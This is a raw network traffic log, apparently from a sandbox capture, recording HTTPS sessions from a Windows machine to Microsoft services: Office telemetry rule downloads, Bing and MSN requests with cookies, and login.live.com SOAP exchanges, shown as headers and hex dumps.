2024-10-28 17:43:41 UTC	563	IN	HTTP/1.1 200 OK Date: Mon, 28 Oct 2024 17:43:41 GMT Content-Type: text/xml Content-Length: 1356 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:43 GMT ETag: "0x8DC582BDF66E42D" x-ms-request-id: 1a403a11-c01e-0082-051c-27af72000000 x-ms-version: 2018-03-28 x-azure-ref: 20241028T174341Z-17c5cb586f6hhlf5mrwgq3erx800000006hg000000005qsx x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-28 17:43:41 UTC	1356	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 30 32 30 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 57 6f 72 64 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 57 6f 72 64 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="700200" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Word" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenWord" S="Medium" /> <F T="2">

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
132	192.168.2.5	63627	23.222.241.144	443	7940	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-28 17:43:41 UTC	628	OUT	OPTIONS /bnc/notifications/count?app=anaheim&pageId=ntp HTTP/1.1 Host: www.bing.com Connection: keep-alive Accept: / Access-Control-Request-Method: GET Access-Control-Request-Headers: x-personalbing-csrf,x-personalbing-flights,x-search-clientid,x-search-uilang Origin: https://ntp.msn.com User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47 Sec-Fetch-Mode: cors Sec-Fetch-Site: cross-site Sec-Fetch-Dest: empty Referer: https://ntp.msn.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-GB,en;q=0.9,en-US;q=0.8
2024-10-28 17:43:41 UTC	2234	IN	HTTP/1.1 200 OK Content-Length: 0 Access-Control-Allow-Headers: * Access-Control-Allow-Origin: https://ntp.msn.com Access-Control-Max-Age: 7200 Cache-Control: private X-EventID: 671fcd4df691429fbefb6a5d0c08d3f9 UserAgentReductionOptOut: A7kgTC5xdZ2WIVGZEfb1hUoNuvjzOZX3VIV/BA6C18kQOOF50Q0D3oWoAm49k3BQImkujKILc7JmPysWk3CSjwUAAACMeyJvcmlnaW4iOiJodHRwczovL3d3dy5iaW5nLmNvbTo0NDMiLCJmZWF0dXJlIjoiU2VuZEZ1bGxVc2VyQWdlbnRBZnRlclJlZHVjdGlvbiIsImV4cGlyeSI6MTY4NDg4NjM5OSwiaXNTdWJkb21haW4iOnRydWUsImlzVGhpcmRQYXJ0eSI6dHJ1ZX0= Content-Security-Policy: script-src https: 'strict-dynamic' 'report-sample' 'wasm-unsafe-eval' 'nonce-/eNGGq/lDr42lnA9Gv+coRwfoxlrHb7PLFKcNxJKd6I='; base-uri 'self';report-to csp-endpoint Report-To: {"group":"csp-endpoint","max_age":86400,"endpoints":[{"url":"https://aefd.nelreports.net/api/report?cat=bingcsp"}]} P3P: CP="NON UNI COM NAV STA LOC CURa DEVa PSAa PSDa OUR IND" Date: Mon, 28 Oct 2024 17:43:41 GMT Connection: close Set-Cookie: MUID=1A9946AF8EAD65D90E9E53898FBF6452; domain=.bing.com; expires=Sat, 22-Nov-2025 17:43:41 GMT; path=/; secure; SameSite=None Set-Cookie: MUIDB=1A9946AF8EAD65D90E9E53898FBF6452; expires=Sat, 22-Nov-2025 17:43:41 GMT; path=/; HttpOnly Set-Cookie: _EDGE_S=F=1&SID=0F5F78306DB76681297F6D166CA56737; domain=.bing.com; path=/; HttpOnly Set-Cookie: _EDGE_V=1; domain=.bing.com; expires=Sat, 22-Nov-2025 17:43:41 GMT; path=/; HttpOnly Set-Cookie: USRLOC=HS=1; domain=.bing.com; expires=Wed, 28-Oct-2026 17:43:41 GMT; path=/; secure; HttpOnly; SameSite=None Set-Cookie: SRCHD=AF=NOFORM; domain=.bing.com; expires=Wed, 28-Oct-2026 17:43:41 GMT; path=/; secure; SameSite=None Set-Cookie: SRCHUID=V=2&GUID=9386A08E2A894E138AFD9148D1528CFF&dmnchg=1; domain=.bing.com; expires=Wed, 28-Oct-2026 17:43:41 GMT; path=/; secure; SameSite=None Set-Cookie: SRCHUSR=DOB=20241028; domain=.bing.com; expires=Wed, 28-Oct-2026 17:43:41 GMT; path=/; secure; SameSite=None Set-Cookie: SRCHHPGUSR=SRCHLANG=en; domain=.bing.com; expires=Wed, 28-Oct-2026 17:43:41 GMT; path=/; secure; SameSite=None Set-Cookie: _SS=SID=0F5F78306DB76681297F6D166CA56737; domain=.bing.com; path=/; secure; SameSite=None Alt-Svc: h3=":443"; ma=93600 X-CDN-TraceID: 0.933b2f17.1730137421.702f9a26

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
133	192.168.2.5	63629	40.126.31.71	443

Timestamp	Bytes transferred	Direction	Data
2024-10-28 17:43:42 UTC	422	OUT	POST /RST2.srf HTTP/1.0 Connection: Keep-Alive Content-Type: application/soap+xml Accept: / User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 10.0; Win64; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729; IDCRL 24.10.0.19045.0.0; IDCRL-cfg 16.000.29743.00; App svchost.exe, 10.0.19041.1806, {DF60E2DF-88AD-4526-AE21-83D130EF0F68}) Content-Length: 4775 Host: login.live.com
2024-10-28 17:43:42 UTC	4775	OUT	Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 55 54 46 2d 38 22 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 32 30 30 33 2f 30 35 2f 73 6f 61 70 2d 65 6e 76 65 6c 6f 70 65 22 20 78 6d 6c 6e 73 3a 70 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 6d 69 63 72 6f 73 6f 66 74 2e 63 6f 6d 2f 50 61 73 73 70 6f 72 74 2f 53 6f 61 70 53 65 72 76 69 63 65 73 2f 50 50 43 52 4c 22 20 78 6d 6c 6e 73 3a 77 73 73 65 3d 22 68 74 74 70 3a 2f 2f 64 6f 63 73 2e 6f 61 73 69 73 2d 6f 70 65 6e 2e 6f 72 67 2f 77 73 73 2f 32 30 30 34 2f 30 31 2f 6f 61 73 69 73 2d 32 30 30 34 30 31 2d 77 73 73 2d 77 73 73 65 63 75 72 69 74 79 2d 73 65 63 65 78 74 2d 31 Data Ascii: <?xml version="1.0" encoding="UTF-8"?><s:Envelope xmlns:s="http://www.w3.org/2003/05/soap-envelope" xmlns:ps="http://schemas.microsoft.com/Passport/SoapServices/PPCRL" xmlns:wsse="http://docs.oasis-open.org/wss/2004/01/oasis-200401-wss-wssecurity-secext-1
2024-10-28 17:43:42 UTC	569	IN	HTTP/1.1 200 OK Cache-Control: no-store, no-cache Pragma: no-cache Content-Type: application/soap+xml; charset=utf-8 Expires: Mon, 28 Oct 2024 17:42:42 GMT P3P: CP="DSP CUR OTPi IND OTRi ONL FIN" Referrer-Policy: strict-origin-when-cross-origin x-ms-route-info: C554_BL2 x-ms-request-id: b08f90b1-3d6c-4fb8-958d-a263e991545b PPServer: PPV: 30 H: BL02EPF0001D823 V: 0 X-Content-Type-Options: nosniff Strict-Transport-Security: max-age=31536000 X-XSS-Protection: 1; mode=block Date: Mon, 28 Oct 2024 17:43:42 GMT Connection: close Content-Length: 11412
2024-10-28 17:43:42 UTC	11412	IN	Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 20 3f 3e 3c 53 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 53 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 32 30 30 33 2f 30 35 2f 73 6f 61 70 2d 65 6e 76 65 6c 6f 70 65 22 20 78 6d 6c 6e 73 3a 77 73 73 65 3d 22 68 74 74 70 3a 2f 2f 64 6f 63 73 2e 6f 61 73 69 73 2d 6f 70 65 6e 2e 6f 72 67 2f 77 73 73 2f 32 30 30 34 2f 30 31 2f 6f 61 73 69 73 2d 32 30 30 34 30 31 2d 77 73 73 2d 77 73 73 65 63 75 72 69 74 79 2d 73 65 63 65 78 74 2d 31 2e 30 2e 78 73 64 22 20 78 6d 6c 6e 73 3a 77 73 75 3d 22 68 74 74 70 3a 2f 2f 64 6f 63 73 2e 6f 61 73 69 73 2d 6f 70 65 6e 2e 6f 72 67 2f 77 73 73 2f 32 30 30 34 2f 30 31 2f 6f 61 73 69 73 2d 32 30 30 Data Ascii: <?xml version="1.0" encoding="utf-8" ?><S:Envelope xmlns:S="http://www.w3.org/2003/05/soap-envelope" xmlns:wsse="http://docs.oasis-open.org/wss/2004/01/oasis-200401-wss-wssecurity-secext-1.0.xsd" xmlns:wsu="http://docs.oasis-open.org/wss/2004/01/oasis-200

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
134	192.168.2.5	63628	40.126.31.71	443

Timestamp	Bytes transferred	Direction	Data
2024-10-28 17:43:42 UTC	422	OUT	POST /RST2.srf HTTP/1.0 Connection: Keep-Alive Content-Type: application/soap+xml Accept: / User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 10.0; Win64; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729; IDCRL 24.10.0.19045.0.0; IDCRL-cfg 16.000.29743.00; App svchost.exe, 10.0.19041.1806, {DF60E2DF-88AD-4526-AE21-83D130EF0F68}) Content-Length: 4775 Host: login.live.com
2024-10-28 17:43:42 UTC	4775	OUT	Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 55 54 46 2d 38 22 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 32 30 30 33 2f 30 35 2f 73 6f 61 70 2d 65 6e 76 65 6c 6f 70 65 22 20 78 6d 6c 6e 73 3a 70 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 6d 69 63 72 6f 73 6f 66 74 2e 63 6f 6d 2f 50 61 73 73 70 6f 72 74 2f 53 6f 61 70 53 65 72 76 69 63 65 73 2f 50 50 43 52 4c 22 20 78 6d 6c 6e 73 3a 77 73 73 65 3d 22 68 74 74 70 3a 2f 2f 64 6f 63 73 2e 6f 61 73 69 73 2d 6f 70 65 6e 2e 6f 72 67 2f 77 73 73 2f 32 30 30 34 2f 30 31 2f 6f 61 73 69 73 2d 32 30 30 34 30 31 2d 77 73 73 2d 77 73 73 65 63 75 72 69 74 79 2d 73 65 63 65 78 74 2d 31 Data Ascii: <?xml version="1.0" encoding="UTF-8"?><s:Envelope xmlns:s="http://www.w3.org/2003/05/soap-envelope" xmlns:ps="http://schemas.microsoft.com/Passport/SoapServices/PPCRL" xmlns:wsse="http://docs.oasis-open.org/wss/2004/01/oasis-200401-wss-wssecurity-secext-1
2024-10-28 17:43:42 UTC	568	IN	HTTP/1.1 200 OK Cache-Control: no-store, no-cache Pragma: no-cache Content-Type: application/soap+xml; charset=utf-8 Expires: Mon, 28 Oct 2024 17:42:42 GMT P3P: CP="DSP CUR OTPi IND OTRi ONL FIN" Referrer-Policy: strict-origin-when-cross-origin x-ms-route-info: C555_BL2 x-ms-request-id: d50f4c4a-4d24-4b44-914d-a74678a637c4 PPServer: PPV: 30 H: BL02EPF0001D969 V: 0 X-Content-Type-Options: nosniff Strict-Transport-Security: max-age=31536000 X-XSS-Protection: 1; mode=block Date: Mon, 28 Oct 2024 17:43:41 GMT Connection: close Content-Length: 1918
2024-10-28 17:43:42 UTC	1918	IN	Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 20 3f 3e 3c 53 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 53 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 32 30 30 33 2f 30 35 2f 73 6f 61 70 2d 65 6e 76 65 6c 6f 70 65 22 20 78 6d 6c 6e 73 3a 77 73 73 65 3d 22 68 74 74 70 3a 2f 2f 64 6f 63 73 2e 6f 61 73 69 73 2d 6f 70 65 6e 2e 6f 72 67 2f 77 73 73 2f 32 30 30 34 2f 30 31 2f 6f 61 73 69 73 2d 32 30 30 34 30 31 2d 77 73 73 2d 77 73 73 65 63 75 72 69 74 79 2d 73 65 63 65 78 74 2d 31 2e 30 2e 78 73 64 22 20 78 6d 6c 6e 73 3a 77 73 75 3d 22 68 74 74 70 3a 2f 2f 64 6f 63 73 2e 6f 61 73 69 73 2d 6f 70 65 6e 2e 6f 72 67 2f 77 73 73 2f 32 30 30 34 2f 30 31 2f 6f 61 73 69 73 2d 32 30 30 Data Ascii: <?xml version="1.0" encoding="utf-8" ?><S:Envelope xmlns:S="http://www.w3.org/2003/05/soap-envelope" xmlns:wsse="http://docs.oasis-open.org/wss/2004/01/oasis-200401-wss-wssecurity-secext-1.0.xsd" xmlns:wsu="http://docs.oasis-open.org/wss/2004/01/oasis-200

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
135	192.168.2.5	63630	20.125.209.212	443	7940	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-28 17:43:42 UTC	1279	OUT	GET /c.gif?rnd=1730137417932&udc=true&pg.n=default&pg.t=dhp&pg.c=547&pg.p=anaheim&rf=&tp=https%3A%2F%2Fntp.msn.com%2Fedge%2Fntp%3Flocale%3Den-GB%26title%3DNew%2520tab%26dsp%3D1%26sp%3DBing%26isFREModalBackground%3D1%26startpage%3D1%26PC%3DU531%26ocid%3Dmsedgdhp&cvs=Browser&di=340&st.dpt=&st.sdpt=antp&subcvs=homepage&lng=en-us&rid=e1c7ee160fc84bccb2e26f7fc786d2a1&activityId=e1c7ee160fc84bccb2e26f7fc786d2a1&d.imd=false&scr=1280x1024&anoncknm=app_anon&issso=&aadState=0&ctsa=mr&CtsSyncId=AE5378FDF76747C3BBD015B21727F991&MUID=29FEC05542B56D820230D57343E26C2D HTTP/1.1 Host: c.msn.com Connection: keep-alive sec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47 sec-ch-ua-platform: "Windows" Accept: image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://ntp.msn.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-GB,en;q=0.9,en-US;q=0.8 Cookie: USRLOC=; MUID=29FEC05542B56D820230D57343E26C2D; _EDGE_S=F=1&SID=2E43925160CA63FF39D3877761A062D1; _EDGE_V=1; SM=T; _C_ETH=1; msnup=
2024-10-28 17:43:42 UTC	983	IN	HTTP/1.1 200 OK Cache-Control: private, no-cache, proxy-revalidate, no-store Pragma: no-cache Content-Type: image/gif Last-Modified: Wed, 16 Oct 2024 06:33:28 GMT Accept-Ranges: bytes ETag: "b116c54f951fdb1:0" Server: Microsoft-IIS/10.0 X-Powered-By: ASP.NET P3P: CP="BUS CUR CONo FIN IVDo ONL OUR PHY SAMo TELo" Set-Cookie: SM=C; domain=c.msn.com; path=/; SameSite=None; Secure; Set-Cookie: MUID=29FEC05542B56D820230D57343E26C2D; domain=.msn.com; expires=Sat, 22-Nov-2025 17:43:42 GMT; path=/; SameSite=None; Secure; Priority=High; Set-Cookie: SRM_M=29FEC05542B56D820230D57343E26C2D; domain=c.msn.com; expires=Sat, 22-Nov-2025 17:43:42 GMT; path=/; SameSite=None; Secure; Set-Cookie: MR=0; domain=c.msn.com; expires=Mon, 04-Nov-2024 17:43:42 GMT; path=/; SameSite=None; Secure; Set-Cookie: ANONCHK=0; domain=c.msn.com; expires=Mon, 28-Oct-2024 17:53:42 GMT; path=/; SameSite=None; Secure; Date: Mon, 28 Oct 2024 17:43:41 GMT Connection: close Content-Length: 42
2024-10-28 17:43:42 UTC	42	IN	Data Raw: 47 49 46 38 39 61 01 00 01 00 80 00 00 00 00 00 ff ff ff 21 f9 04 01 00 00 01 00 2c 00 00 00 00 01 00 01 00 00 02 01 4c 00 3b Data Ascii: GIF89a!,L;

Session ID	Source IP	Source Port	Destination IP	Destination Port
136	192.168.2.5	63631	13.107.246.51	443

Timestamp	Bytes transferred	Direction	Data
2024-10-28 17:43:42 UTC	192	OUT	GET /rules/rule701251v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-28 17:43:42 UTC	563	IN	HTTP/1.1 200 OK Date: Mon, 28 Oct 2024 17:43:42 GMT Content-Type: text/xml Content-Length: 1395 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:41 GMT ETag: "0x8DC582BDE12A98D" x-ms-request-id: 6795109f-a01e-00ab-085e-279106000000 x-ms-version: 2018-03-28 x-azure-ref: 20241028T174342Z-r197bdfb6b4mcssrvu34xzqc5400000005e0000000007x39 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-28 17:43:42 UTC	1395	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 31 32 35 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 56 69 73 69 6f 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 56 69 73 69 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="701251" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Visio.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenVisi

Session ID	Source IP	Source Port	Destination IP	Destination Port
137	192.168.2.5	63632	13.107.246.51	443

Timestamp	Bytes transferred	Direction	Data
2024-10-28 17:43:42 UTC	192	OUT	GET /rules/rule701250v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-28 17:43:42 UTC	563	IN	HTTP/1.1 200 OK Date: Mon, 28 Oct 2024 17:43:42 GMT Content-Type: text/xml Content-Length: 1358 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:44 GMT ETag: "0x8DC582BE022ECC5" x-ms-request-id: 255ed8c5-301e-0051-461c-2738bb000000 x-ms-version: 2018-03-28 x-azure-ref: 20241028T174342Z-16849878b78fssff8btnns3b1400000005g000000000uau7 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-28 17:43:42 UTC	1358	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 31 32 35 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 56 69 73 69 6f 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 56 69 73 69 6f 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="701250" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Visio" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenVisio" S="Medium" /> <F T="2">

Session ID	Source IP	Source Port	Destination IP	Destination Port
138	192.168.2.5	63634	13.107.246.51	443

Timestamp	Bytes transferred	Direction	Data
2024-10-28 17:43:42 UTC	192	OUT	GET /rules/rule700050v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-28 17:43:42 UTC	584	IN	HTTP/1.1 200 OK Date: Mon, 28 Oct 2024 17:43:42 GMT Content-Type: text/xml Content-Length: 1352 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:28:01 GMT ETag: "0x8DC582BE9DEEE28" x-ms-request-id: f21e1abf-101e-00a2-2367-289f2e000000 x-ms-version: 2018-03-28 x-azure-ref: 20241028T174342Z-15b8d89586fmhkw429ba5n22m800000006q0000000009bkw x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-28 17:43:42 UTC	1352	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 30 30 35 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 55 58 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 55 58 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="700050" V="1" DC="SM" EN="Office.Telemetry.Event.Office.UX" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenUX" S="Medium" /> <F T="2"> <O T

Session ID	Source IP	Source Port	Destination IP	Destination Port
139	192.168.2.5	63633	13.107.246.51	443

Timestamp	Bytes transferred	Direction	Data
2024-10-28 17:43:42 UTC	192	OUT	GET /rules/rule700051v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-28 17:43:42 UTC	563	IN	HTTP/1.1 200 OK Date: Mon, 28 Oct 2024 17:43:42 GMT Content-Type: text/xml Content-Length: 1389 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:46 GMT ETag: "0x8DC582BE10A6BC1" x-ms-request-id: cdbfd92d-501e-0029-317f-27d0b8000000 x-ms-version: 2018-03-28 x-azure-ref: 20241028T174342Z-16849878b78fhxrnedubv5byks00000003k000000000t7eb x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-28 17:43:42 UTC	1389	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 30 30 35 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 55 58 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 55 58 22 20 53 3d 22 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="700051" V="1" DC="SM" EN="Office.Telemetry.Event.Office.UX.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenUX" S="

Session ID	Source IP	Source Port	Destination IP	Destination Port
140	192.168.2.5	63635	13.107.246.51	443

Timestamp	Bytes transferred	Direction	Data
2024-10-28 17:43:42 UTC	192	OUT	GET /rules/rule702951v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
